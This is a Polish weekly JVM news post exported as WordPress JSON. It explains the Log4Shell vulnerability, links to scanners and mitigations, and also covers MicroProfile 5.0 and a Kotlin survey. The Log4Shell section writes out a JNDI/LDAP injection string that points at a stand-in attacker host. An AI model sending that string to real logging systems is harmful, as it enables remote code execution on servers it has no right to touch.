{"id":10033,"date":"2021-12-14T14:38:39","date_gmt":"2021-12-14T13:38:39","guid":{"rendered":"https:\/\/vived.io\/jvm-tuesday-vol-68-log4shell\/"},"modified":"2022-09-19T13:10:44","modified_gmt":"2022-09-19T11:10:44","slug":"jvm-tuesday-vol-68-log4shell","status":"publish","type":"post","link":"https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/","title":{"rendered":"JVM Tuesday vol. 68 &#8211; Log4Shell #ZobaczMemy"},"content":{"rendered":"\n<h2 id=\"1-log4shell-zatrzasl-internetem\" data-num=1>1. Log4Shell zatrz\u0105s\u0142 internetem&nbsp; \ud83d\udca9\ud83c\udf0a<\/h2>\n\n\n\n<p>To jest ten wyj\u0105tkowy tydzie\u0144, \u017ce niezale\u017cnie od j\u0119zyka programowania \u201cJe Suis Java\u201d, a przy okazji najwi\u0119kszy je\u015bli chodzi o zasi\u0119g exploit od czasu nies\u0142awnego Spectre. W Log4J, znanej chyba ka\u017cdemu, kto wyszed\u0142 poza \u201chello world\u201d bibliotece do logowania w Javie, wykryto exploita &#8211; i to exploita o najwy\u017cszym mo\u017cliwym poziomie zagro\u017cenia.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img decoding=\"async\" src=\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/adgqKD9_460s.jpg\" alt=\"Ain't nobody got time for that - 9GAG\"\/><\/figure><\/div>\n\n\n<p>Zacznijmy mo\u017ce od tego jak rzeczony exploit dzia\u0142a. Log4Shell, bo takie miano mu przyznano, to RCE (Remote Code Execution) \u2013 umo\u017cliwia ona wykonanie dowolnego kodu po stronie serwerowej. Okazuje si\u0119, \u017ce Log4J w wyniku interpolacji odpowiedniego formatu Stringu znalezionego w logach automatycznie odpali instrukcje znajduj\u0105ce si\u0119 na dowolnym serwerze LDAPowym &#8211; jest to protok\u00f3\u0142 przeznaczony do korzystania z us\u0142ug katalogowych, czyli np. bazy pracownik\u00f3w firmy w ramach mechanizm\u00f3w autoryzacji. Ca\u0142o\u015b\u0107 odbywa si\u0119 poprzez <a href=\"https:\/\/docs.oracle.com\/javase\/tutorial\/jndi\/overview\/index.html\">mechanizm JNDI<\/a> &#8211; czyli takiego javowego odpowiednika URL do definiowania zewn\u0119trznych zasob\u00f3w, jak np. adresy zdalnych procedur. Pewnie kojarzycie je pod skr\u00f3tem RPC &#8211; Remote Procedure Call. Tak wi\u0119c wystarczy\u0142o, \u017ceby linijka&nbsp; ${jndi:ldap:\/\/attackerserver.com:1389\/ExploitPayload} (okre\u015blaj\u0105ca zas\u00f3b przy pomocy wspomnianego JNDI) zapisa\u0142a si\u0119 do log\u00f3w, a z wcze\u015bnie spreparowanego LDAPA pobrana i wykonana b\u0119dzie klasa ExploitPayload.class, zawieraj\u0105ca dowolny z\u0142o\u015bliwy kod.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/61b78805df48bb747b27b672_YouShallNotPass.png\" alt=\"Log4Shell - Identify Vulnerable External-Facing Workloads in AWS Tutorial\" width=\"500\" height=\"754\"\/><figcaption>Tak mniej wi\u0119cej odbywa si\u0119 atak<\/figcaption><\/figure><\/div>\n\n\n<p>Jak wi\u0119c widzicie &#8211; ca\u0142o\u015b\u0107 jest wr\u0119cz \u015bmiesznie prosta w realizacji, a r\u00f3wnocze\u015bnie niesamowicie gro\u017ana. Oczywi\u015bcie, powy\u017csze wyja\u015bnienie nie jest pe\u0142n\u0105 techniczn\u0105 analiz\u0105, takich znajdziecie w \u015bwiecie ju\u017c od groma. W waszej podr\u00f3\u017cy przez \u015bwiat podatno\u015bci CVE-2021-44228 (bo tak\u0105 nazw\u0119 dosta\u0142a) poprowadz\u0105 Was przewodniki <a href=\"https:\/\/www.techsolvency.com\/story-so-far\/cve-2021-44228-log4j-log4shell\/\">The Story So Far: Log4Shell log4j vulnerability<\/a> oraz <a href=\"https:\/\/www.lunasec.io\/docs\/blog\/log4j-zero-day-mitigation-guide\/\">Guide: How To Detect and Mitigate the Log4Shell Vulnerability (CVE-2021-44228)<\/a><\/p>\n\n\n\n<p>Kto oberwa\u0142? Ka\u017cdy, kto posiada w swoich zale\u017cno\u015bciach dowolnej wersji log4j starszej ni\u017c 2.15.0, najprawdopodobniej jest nara\u017cony &#8211; radzimy prze\u015bledzi\u0107 pe\u0142ne drzewo zale\u017cno\u015bci (albo u\u017cy\u0107 narz\u0119dzia opisywanego poni\u017cej). Na szcz\u0119\u015bcie od podatno\u015bci wolny jest (przynajmniej w domy\u015blnej konfiguracji) Spring Boot. U\u017cywa on co prawda zale\u017cno\u015bci o nazwie Log4j, ale jest to tylko jego API, a nie ca\u0142a biblioteka. Nawet nie chc\u0119 sobie wyobra\u017ca\u0107, co by si\u0119 dzia\u0142o gdyby trzeba by\u0142o aktualizowa\u0107 wszystkie springowe aplikacje na ca\u0142ym \u015bwiecie.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img decoding=\"async\" src=\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/FGUwLYCX0AUUKNT.jpg\" alt=\"Gon\u00e7alo Ribeiro's tweet - &quot;#Log4Shell #log4j #CVE202144228 &quot; - Trendsmap\"\/><figcaption>#PDK<\/figcaption><\/figure><\/div>\n\n\n<p>W internecie nie brakuje g\u0142os\u00f3w, \u017ce to jest problem tylko javowc\u00f3w, \u201cbo ja programuje w porz\u0105dnym j\u0119zyku\u201d. Wbrew opiniom niekt\u00f3rych krytyk\u00f3w, Java jest u\u017cywana nie tylko przez stare systemy, ale r\u00f3wnie\u017c mas\u0119 softu u\u017cywanego na co dzie\u0144. Dlatego te\u017c np. krytyczne poprawki wypu\u015bci\u0142 Elastic, Solr, <a href=\"https:\/\/community.neo4j.com\/t\/log4j-cve-mitigation-for-neo4j\/48856\">Neo4j<\/a>, Flink czy te\u017c\u2026 Minecraft. Ofiar\u0105 sta\u0142 si\u0119 te\u017c np. <a href=\"https:\/\/www.itworldcanada.com\/article\/canadian-websites-temporarily-shut-down-as-world-scrambles-to-mitigate-or-patch-log4shell-vulnerability\/468264\">prowincja Quebec w Kanadzie<\/a>. Jak wi\u0119c wida\u0107, nikt nie jest bezpieczny. Pe\u0142n\u0105, stale aktualizowan\u0105 list\u0119 <a href=\"https:\/\/www.techsolvency.com\/story-so-far\/cve-2021-44228-log4j-log4shell\/\">znajdziecie tutaj<\/a>.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/61b5c0dc998ead07e557a882_twitter.png\" alt=\"\"\/><figcaption>Powodzenia \ud83e\udd17<\/figcaption><\/figure>\n\n\n\n<p>Do poradzenia sobie z problemem powsta\u0142o wiele wyspecjalizowanych narz\u0119dzi. Zdecydowanie radzimy prze\u015bledzi\u0107 Wasze repozytoria za pomoc\u0105 <a href=\"https:\/\/github.com\/fullhunt\/log4j-scan\">fullhunt\/log4j-scan<\/a> czy dzia\u0142aj\u0105cy podobnie <a href=\"https:\/\/github.com\/jerrinot\/log4shell-ldap\/\">jerrinot\/log4shell-ldap<\/a>, kt\u00f3re w holistyczny spos\u00f3b sprawdzaj\u0105 Wasze repozytoria. Moim jednak ulubionym narz\u0119dziem jest java agent (program dopinany do maszyny wirtualnej) stworzony przez zesp\u00f3\u0142 Corretto, kt\u00f3ry potrafi poradzi\u0107 sobie z <a href=\"https:\/\/github.com\/corretto\/hotpatch-for-apache-log4j2\/\">procesem patchowania bez zatrzymywania aplikacji<\/a>. Takie rozwi\u0105zanie b\u0119dzie jednak w wi\u0119kszo\u015bci przypadk\u00f3w armat\u0105 na muchy, wi\u0119c polecamy go u\u017cywa\u0107 dopiero wtedy jak wiecie, \u017ce musicie.<\/p>\n\n\n\n<p>Jak bumerang wraca temat niedoinwestowanych projekt\u00f3w Open Source. Przez sie\u0107 wiralem przesz\u0142y publikacje takie jak&nbsp; <a href=\"https:\/\/christine.website\/blog\/open-source-broken-2021-12-11\">&#8222;Open Source&#8221; is Broken<\/a>\u201d (wraz z odpowiadaj\u0105cym na nie <a href=\"https:\/\/nadh.in\/blog\/open-source-is-not-broken\/\">&#8222;Open source&#8221; is not broken<\/a>) czy <a href=\"https:\/\/blog.filippo.io\/professional-maintainers\/\">Professional maintainers: a wake-up call<\/a>, kt\u00f3re pr\u00f3buj\u0105 uzmys\u0142owi\u0107 tym, kt\u00f3rzy jeszcze nie zdaj\u0105 sobie z tego sprawy, jak na kruchych podstawach stoi ca\u0142y wsp\u00f3\u0142czesny \u015bwiat technologii. Trzeba jednak przyzna\u0107, \u017ce znacznie bardziej obrywa si\u0119 sposobowi finansowania tego typu projekt\u00f3w, ni\u017c samemu modelowi &#8211; cho\u0107 ten te\u017c oberwa\u0142 rykoszetem, jako \u017ce nie spe\u0142ni\u0142 pok\u0142adanych w nim nadziei. Okazuje si\u0119 bowiem, \u017ce sam fakt dost\u0119pu do kodu nie sprawi, \u017ce ten automatycznie staje si\u0119 bezpieczny &#8211; ale t\u0105 lekcj\u0119 ju\u017c chyba przepracowali\u015bmy przy okazji Heartbleeda &#8211; <a href=\"https:\/\/heartbleed.com\/\">buga<\/a>, kt\u00f3ry kiedy\u015b s\u0119dza\u0142 sen z powiek u\u017cytkownikom SSL.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img decoding=\"async\" src=\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/FGPaGLZXEAYmJnb.png\" alt=\"Kevin Beaumont on Twitter: &quot;official logo for log4shell  https:\/\/t.co\/DMEmPYJ7Mx&quot; \/ Twitter\"\/><figcaption>Ile razy mo\u017cna dawa\u0107 ten sam obrazek, zanim si\u0119 czego\u015b nauczymy.<\/figcaption><\/figure><\/div>\n\n\n<p>Niejeden z nas nie mia\u0142 raczej spokojnego weekendu, ale mo\u017ce si\u0119 okaza\u0107, \u017ce to dopiero pocz\u0105tek zabawy. Powoli dochodz\u0105 nas bowiem doniesienia o tym, \u017ce <a href=\"https:\/\/www.zdnet.com\/article\/log4j-rce-activity-began-on-december-1-as-botnets-start-using-vulnerability\/\">atakuj\u0105cy dzia\u0142ali na d\u0142ugo przed tym<\/a>, jak o ca\u0142ej sprawie zrobi\u0142o si\u0119 g\u0142o\u015bno. Przyk\u0142adowo, Cloudflare twierdzi, \u017ce pierwsze \u015blady pr\u00f3by ataku uda\u0142o im si\u0119 zidentyfikowa\u0107 ju\u017c w logach pochodz\u0105cych z pierwszego grudnia. Je\u017celi te plotki si\u0119 potwierdz\u0105, to niejeden system mo\u017ce ju\u017c teraz kopa\u0107 krypto lub wkr\u00f3tce sta\u0107 si\u0119 ofiar\u0105 u\u015bpionego ransomware. Mamy nadzieje, \u017ce czarne wizje si\u0119 nie spe\u0142ni\u0105\u2026 a w mi\u0119dzyczasie r\u00f3bcie lepiej na szybko backupy.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/FGc65vvXEAQdCj0.jpg\" alt=\"Doing Hot Mom Shit on Twitter: &quot;#log4j #Log4Shell Exploits aren't funny but  these memes are just too good https:\/\/t.co\/guwCgXicOF&quot; \/ Twitter\"\/><figcaption>Heheszka na po\u017cegnanie<\/figcaption><\/figure>\n\n\n\n<h2 id=\"2-wydano-microprofile-5-0\" data-num=2>2. Wydano MicroProfile 5.0 \ud83d\ude80<\/h2>\n\n\n\n<p>Pewnie to nie ostatni raz, kiedy b\u0119dziemy o exploicie Log4J wspomina\u0107, ale mimo swojego zasi\u0119gu nie by\u0142 on jedynym ciekawym wydarzeniem w \u015bwiecie JVM. MicroProfile, m\u0142odszy, bardziej cool brat Jakarty EE w\u0142a\u015bnie otrzyma\u0142 w zesz\u0142ym tygodniu swoj\u0105 now\u0105 edycj\u0119.<br><br>Je\u017celi spodziewacie si\u0119 wielkich, rewolucyjnych zmian\u2026 to nie tym razem. Celem MicroProfile 5.0 jest bowiem uzyskanie kompatybilno\u015bci MicroProfile z przestrzeni\u0105 nazw Jakarta EE. W ramach nowego wydania, pozbyto si\u0119 resztek pozosta\u0142o\u015bci po klasycznym javax, kt\u00f3ry (gwoli przypomnienia) jest znakiem handlowym nale\u017c\u0105cym do Oracle.<\/p>\n\n\n\n<figure class=\"wp-block-image is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/img_62a883675b978.png\" alt=\"\" width=\"991\" height=\"993\"\/><figcaption>&#8222;MicroProfile dosta\u0142 namespace Jakarty EE!&#8230;&#8221;<\/figcaption><\/figure>\n\n\n\n<p>Tylko tyle i a\u017c tyle, bowiem upgrade do MicroProfile w wersji pi\u0105tej wcale nie b\u0119dzie \u0142atwy i przyjemny. Nowe \u201cdu\u017ce\u201d wersje dosta\u0142o prawie 20 zale\u017cno\u015bci, a cz\u0119\u015b\u0107 z nich z\u0142ama\u0142a przy migracji na Jakart\u0119 EE kompatybilno\u015b\u0107. Najwi\u0119ksze zmiany dotkn\u0105 chyba u\u017cytkownik\u00f3w microprofile-metrics-4.0 (w kt\u00f3rym min. przestaje dzia\u0142a\u0107 pochodz\u0105ca z CDI anotacja @Metric) i powi\u0105zanego z nim microprofile-fault-tolerance (kt\u00f3ry zmieni\u0142 ca\u0142kiem sporo drobiazg\u00f3w, jak np. urle pod kt\u00f3rymi dost\u0119pne s\u0105 metryki). Na szcz\u0119\u015bcie, w wi\u0119kszo\u015bci przypadk\u00f3w zmiany sprowadza si\u0119 po prostu do upgrade API pochodz\u0105cych z&nbsp; Jakarty EE.<\/p>\n\n\n\n<p>No c\u00f3\u017c, ma\u0142y krok dla programist\u00f3w, du\u017cy dla standardu. Ciekawe co, bior\u0105c pod uwag\u0119, \u017ce ju\u017c wszystko zosta\u0142o posprz\u0105tane, przyniesie nam MicroProfile 6.0.<\/p>\n\n\n\n<h2 id=\"3-wyniki-kotlin-features-survey-2021\" data-num=3>3. Wyniki Kotlin Features Survey 2021 \ud83d\udcc8<\/h2>\n\n\n\n<p>A na koniec &#8211; Kotlin. Wiem, w ostatni wtorek ca\u0142a edycja po\u015bwi\u0119cona by\u0142a w\u0142a\u015bnie temu j\u0119zykowi, ale nic nie poradz\u0119, \u017ce JetBrains strzela jak z karabinu. Okaza\u0142y si\u0119 bowiem w\u0142a\u015bnie wyniki sonda\u017cu w\u015br\u00f3d spo\u0142eczno\u015bci na temat najbardziej chcianych i najbardziej niechcianych j\u0119zyk\u00f3w, kt\u00f3re ukszta\u0142tuj\u0105 pewnie prac\u0119 nad Kotlinem na najbli\u017csze lata<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/img_62a8836f1a496.png\" alt=\"\"\/><\/figure>\n\n\n\n<p>Bardzo ciesz\u0119 si\u0119, \u017ce w\u015br\u00f3d najbardziej oczekiwanych funkcji j\u0119zyka, na pierwszym miejscu znalaz\u0142 si\u0119 z du\u017c\u0105 przewag\u0105 m\u00f3j faworyt &#8211; znane z Javy Multicache i znane z TypeScripta (i oczywi\u015bcie nie tylko) unie. Opr\u00f3cz tego, w topce znalaz\u0142y si\u0119 te\u017c litera\u0142y dla kolekcji (co, bior\u0105c pod uwag\u0119 jak zwi\u0119z\u0142e jest listOf czy mapOf, nie uwa\u017cam za co\u015b krytycznego), a ostatnie miejsce podium to Multiple receivers on extension functions and properties &#8211; funkcjonalno\u015b\u0107 przydatna do rozszerzania klas pochodz\u0105cych z bibliotek zewn\u0119trznych, w czym u\u0142atwienia szuka 30 % os\u00f3b,&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/img_62a883709a8e2.png\" alt=\"\"\/><\/figure>\n\n\n\n<p>Ale chyba nawet ciekawsze od tego, co spo\u0142eczno\u015b\u0107 chce, \u017ceby tw\u00f3rcy Kotlina dodali, jest to czego nie chce widzie\u0107 w swoim j\u0119zyku. Wielu programist\u0105 Javy z d\u0142u\u017cszym sta\u017cem (ale takim 15+, nie \u017ce Polski Senior 3+) pewnie za zgrzytaj\u0105 z\u0119by widz\u0105c, jak umiera nadzieja na package-private. Funkcjonalno\u015b\u0107 ta zaj\u0119\u0142a drugie miejsce w\u015br\u00f3d funkcji najbardziej niechcianych, zaraz po operacjach na bitach. Ja osobi\u015bcie nie czuje wi\u0119kszej potrzeby package-private, ale znam sporo ludzi, kt\u00f3rym brak takowej bardzo przeszkadza. Co ciekawe, na li\u015bcie niechcianych funkcjonalno\u015bci wysoko s\u0105 r\u00f3wnie\u017c Litera\u0142y Kolekcji, o kt\u00f3rych pisali\u015bmy powy\u017cej przy najbardziej chcianych dodatkach do j\u0119zyka. Wida\u0107, \u017ce spo\u0142eczno\u015b\u0107 pod tym wzgl\u0119dem jest deczko podzielona.<\/p>\n\n\n\n<p>Je\u017celi jeste\u015bcie ciekawi komentarzu nie tylko mojego, ale i architekt\u00f3w Kotlina &#8211; ca\u0142o\u015b\u0107 badania <a href=\"https:\/\/blog.jetbrains.com\/kotlin\/2021\/12\/kotlin-features-survey-2021-results\/\">znajdziecie tutaj<\/a>.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"457\" height=\"444\" src=\"https:\/\/vived.io\/wp-content\/uploads\/2021\/12\/image.png\" alt=\"\" class=\"wp-image-3450\" srcset=\"https:\/\/vived.io\/wp-content\/uploads\/2021\/12\/image.png 457w, https:\/\/vived.io\/wp-content\/uploads\/2021\/12\/image-300x291.png 300w\" sizes=\"auto, (max-width: 457px) 100vw, 457px\" \/><\/figure><\/div>\n\n\n<p>PS: Tak jak dzisiaj spojrzeli\u015bmy na przysz\u0142o\u015b\u0107 Kotlina, tak ju\u017c za tydzie\u0144 przyjrzymy si\u0119 finalnej li\u015bcie featur\u00f3w, kt\u00f3re trafi\u0105 JDK 18, kt\u00f3ra ukaza\u0142a si\u0119 w zesz\u0142y pi\u0105tek.<br><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dzisiaj temat m\u00f3g\u0142 by\u0107 tylko jeden &#8211; Log4Shell, i to podsumowanie tego tematu zaj\u0119\u0142o gro miejsca w dzisiejszym przegl\u0105dzie. Wiem, \u017ce temat ju\u017c pewnie dotar\u0142 do ka\u017cdego, ale my\u015bl\u0119 \u017ce taka infopigu\u0142a nie zaszkodzi. Opr\u00f3cz tego premiera MicroProfile oraz wyniki ankiety Kotlinowej.<\/p>\n","protected":false},"author":10,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[259],"tags":[],"class_list":["post-10033","post","type-post","status-publish","format-standard","hentry","category-jvm-pl"],"acf":{"estimated_reading_time":"7","weekly_summary":true,"push_notification_image":"https:\/\/vived.io\/wp-content\/uploads\/2021\/12\/Screenshot-2021-12-14-at-14.38.01.png","feature_image_visible":false,"feature_image_blog":false},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>JVM Tuesday vol. 68 - Log4Shell #ZobaczMemy - Vived<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/\" \/>\n<meta property=\"og:locale\" content=\"pl_PL\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"JVM Tuesday vol. 68 - Log4Shell #ZobaczMemy - Vived\" \/>\n<meta property=\"og:description\" content=\"Dzisiaj temat m\u00f3g\u0142 by\u0107 tylko jeden - Log4Shell, i to podsumowanie tego tematu zaj\u0119\u0142o gro miejsca w dzisiejszym przegl\u0105dzie. Wiem, \u017ce temat ju\u017c pewnie dotar\u0142 do ka\u017cdego, ale my\u015bl\u0119 \u017ce taka infopigu\u0142a nie zaszkodzi. Opr\u00f3cz tego premiera MicroProfile oraz wyniki ankiety Kotlinowej.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/\" \/>\n<meta property=\"og:site_name\" content=\"Vived\" \/>\n<meta property=\"article:published_time\" content=\"2021-12-14T13:38:39+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-09-19T11:10:44+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/vived.io\/wp-content\/uploads\/2021\/12\/Screenshot-2021-12-14-at-14.38.01.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1490\" \/>\n\t<meta property=\"og:image:height\" content=\"838\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Artur Skowro\u0144ski\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/\"},\"author\":{\"name\":\"Artur Skowro\u0144ski\",\"@id\":\"https:\/\/vived.io\/pl\/#\/schema\/person\/0eb0878110cb27edfbfe46e841fe6db3\"},\"headline\":\"JVM Tuesday vol. 68 &#8211; Log4Shell #ZobaczMemy\",\"datePublished\":\"2021-12-14T13:38:39+00:00\",\"dateModified\":\"2022-09-19T11:10:44+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/\"},\"wordCount\":1481,\"publisher\":{\"@id\":\"https:\/\/vived.io\/pl\/#organization\"},\"image\":{\"@id\":\"https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/adgqKD9_460s.jpg\",\"articleSection\":[\"JVM\"],\"inLanguage\":\"pl-PL\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/\",\"url\":\"https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/\",\"name\":\"JVM Tuesday vol. 68 - Log4Shell #ZobaczMemy - Vived\",\"isPartOf\":{\"@id\":\"https:\/\/vived.io\/pl\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/adgqKD9_460s.jpg\",\"datePublished\":\"2021-12-14T13:38:39+00:00\",\"dateModified\":\"2022-09-19T11:10:44+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/#breadcrumb\"},\"inLanguage\":\"pl-PL\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/#primaryimage\",\"url\":\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/adgqKD9_460s.jpg\",\"contentUrl\":\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/adgqKD9_460s.jpg\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Strona g\u0142\u00f3wna\",\"item\":\"https:\/\/vived.io\/pl\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"JVM Tuesday vol. 68 &#8211; Log4Shell #ZobaczMemy\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/vived.io\/pl\/#website\",\"url\":\"https:\/\/vived.io\/pl\/\",\"name\":\"Vived\",\"description\":\"platform empowering IT people and technology companies to synergic growth\",\"publisher\":{\"@id\":\"https:\/\/vived.io\/pl\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/vived.io\/pl\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"pl-PL\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/vived.io\/pl\/#organization\",\"name\":\"Vived\",\"url\":\"https:\/\/vived.io\/pl\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\/\/vived.io\/pl\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/vived.io\/wp-content\/uploads\/2020\/03\/logo_vived_color.png\",\"contentUrl\":\"https:\/\/vived.io\/wp-content\/uploads\/2020\/03\/logo_vived_color.png\",\"width\":136,\"height\":45,\"caption\":\"Vived\"},\"image\":{\"@id\":\"https:\/\/vived.io\/pl\/#\/schema\/logo\/image\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\/\/vived.io\/pl\/#\/schema\/person\/0eb0878110cb27edfbfe46e841fe6db3\",\"name\":\"Artur Skowro\u0144ski\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\/\/vived.io\/pl\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/29055786486c8b9dc1507f2744221c5bdb8d7ef6e6217ced0326dd3296aea6ed?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/29055786486c8b9dc1507f2744221c5bdb8d7ef6e6217ced0326dd3296aea6ed?s=96&d=mm&r=g\",\"caption\":\"Artur Skowro\u0144ski\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"JVM Tuesday vol. 68 - Log4Shell #ZobaczMemy - Vived","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/","og_locale":"pl_PL","og_type":"article","og_title":"JVM Tuesday vol. 68 - Log4Shell #ZobaczMemy - Vived","og_description":"Dzisiaj temat m\u00f3g\u0142 by\u0107 tylko jeden - Log4Shell, i to podsumowanie tego tematu zaj\u0119\u0142o gro miejsca w dzisiejszym przegl\u0105dzie. Wiem, \u017ce temat ju\u017c pewnie dotar\u0142 do ka\u017cdego, ale my\u015bl\u0119 \u017ce taka infopigu\u0142a nie zaszkodzi. Opr\u00f3cz tego premiera MicroProfile oraz wyniki ankiety Kotlinowej.","og_url":"https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/","og_site_name":"Vived","article_published_time":"2021-12-14T13:38:39+00:00","article_modified_time":"2022-09-19T11:10:44+00:00","og_image":[{"width":1490,"height":838,"url":"https:\/\/vived.io\/wp-content\/uploads\/2021\/12\/Screenshot-2021-12-14-at-14.38.01.png","type":"image\/png"}],"author":"Artur Skowro\u0144ski","twitter_card":"summary_large_image","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/#article","isPartOf":{"@id":"https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/"},"author":{"name":"Artur Skowro\u0144ski","@id":"https:\/\/vived.io\/pl\/#\/schema\/person\/0eb0878110cb27edfbfe46e841fe6db3"},"headline":"JVM Tuesday vol. 68 &#8211; Log4Shell #ZobaczMemy","datePublished":"2021-12-14T13:38:39+00:00","dateModified":"2022-09-19T11:10:44+00:00","mainEntityOfPage":{"@id":"https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/"},"wordCount":1481,"publisher":{"@id":"https:\/\/vived.io\/pl\/#organization"},"image":{"@id":"https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/#primaryimage"},"thumbnailUrl":"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/adgqKD9_460s.jpg","articleSection":["JVM"],"inLanguage":"pl-PL"},{"@type":"WebPage","@id":"https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/","url":"https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/","name":"JVM Tuesday vol. 68 - Log4Shell #ZobaczMemy - 